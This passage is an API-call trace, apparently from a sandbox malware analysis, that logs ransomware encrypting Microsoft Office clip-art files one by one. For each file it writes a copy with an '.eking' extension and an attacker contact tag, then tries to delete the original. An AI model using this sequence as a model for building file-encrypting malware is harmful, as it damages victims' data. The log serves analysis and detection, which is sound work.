(in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x790, lpOverlapped=0x0) returned 1 [0269.252] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.252] CloseHandle (hObject=0x3a8) returned 1 [0269.252] CloseHandle (hObject=0x3b4) returned 1 [0269.252] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0 [0269.255] SetEvent (hEvent=0x2b8) returned 1 [0269.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.286] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9992) returned 1 [0269.286] CloseHandle (hObject=0x3b4) returned 1 [0269.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0269.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0269.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.291] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.291] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0269.292] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2708, lpOverlapped=0x0) returned 1 [0269.316] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2710, lpOverlapped=0x0) returned 1 [0269.318] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.319] CloseHandle (hObject=0x3b4) returned 1 [0269.319] CloseHandle (hObject=0x3a8) returned 1 [0269.319] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0 [0269.319] SetEvent (hEvent=0x2b8) returned 1 [0269.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.321] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=24588) returned 1 [0269.321] CloseHandle (hObject=0x3a8) returned 1 [0269.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0269.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0269.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.323] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.323] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0269.634] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x600c, lpOverlapped=0x0) returned 1 [0269.641] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6010, lpOverlapped=0x0) returned 1 [0269.643] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.643] CloseHandle (hObject=0x3a8) returned 1 [0269.643] CloseHandle (hObject=0x3b4) returned 1 [0269.861] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0 [0269.862] SetEvent (hEvent=0x2b8) returned 1 [0269.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.864] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2960) returned 1 [0269.864] CloseHandle (hObject=0x3a8) returned 1 [0269.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0269.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0269.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.865] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.866] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0269.868] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xb90, lpOverlapped=0x0) returned 1 [0269.898] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xba0, lpOverlapped=0x0) returned 1 [0269.901] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.901] CloseHandle (hObject=0x3a8) returned 1 [0269.901] CloseHandle (hObject=0x368) returned 1 [0269.901] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0 [0269.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0269.903] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3588) returned 1 [0269.903] CloseHandle (hObject=0x368) returned 1 [0269.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0269.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0269.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0269.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.904] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0269.905] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xe04, lpOverlapped=0x0) returned 1 [0269.952] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe10, lpOverlapped=0x0) returned 1 [0269.953] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.953] CloseHandle (hObject=0x368) returned 1 [0269.954] CloseHandle (hObject=0x3a8) returned 1 [0269.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0 [0269.954] SetEvent (hEvent=0x2b8) returned 1 [0269.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.975] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2228) returned 1 [0269.975] CloseHandle (hObject=0x380) returned 1 [0269.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0269.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0269.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.979] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.979] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0269.981] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8b4, lpOverlapped=0x0) returned 1 [0269.995] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8c0, lpOverlapped=0x0) returned 1 [0269.996] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.997] CloseHandle (hObject=0x380) returned 1 [0269.997] CloseHandle (hObject=0x3b4) returned 1 [0269.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0 [0269.997] SetEvent (hEvent=0x2b8) returned 1 [0269.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.999] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2300) returned 1 [0269.999] CloseHandle (hObject=0x3b4) returned 1 [0269.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0269.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0269.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.000] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.000] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.380] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8fc, lpOverlapped=0x0) returned 1 [0270.382] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x900, lpOverlapped=0x0) returned 1 [0270.384] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.384] CloseHandle (hObject=0x3b4) returned 1 [0270.384] CloseHandle (hObject=0x380) returned 1 [0270.384] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0 [0270.385] SetEvent (hEvent=0x2b8) returned 1 [0270.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.386] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2080) returned 1 [0270.386] CloseHandle (hObject=0x380) returned 1 [0270.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0270.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0270.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.388] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.388] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0270.389] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x820, lpOverlapped=0x0) returned 1 [0270.391] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x830, lpOverlapped=0x0) returned 1 [0270.393] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, 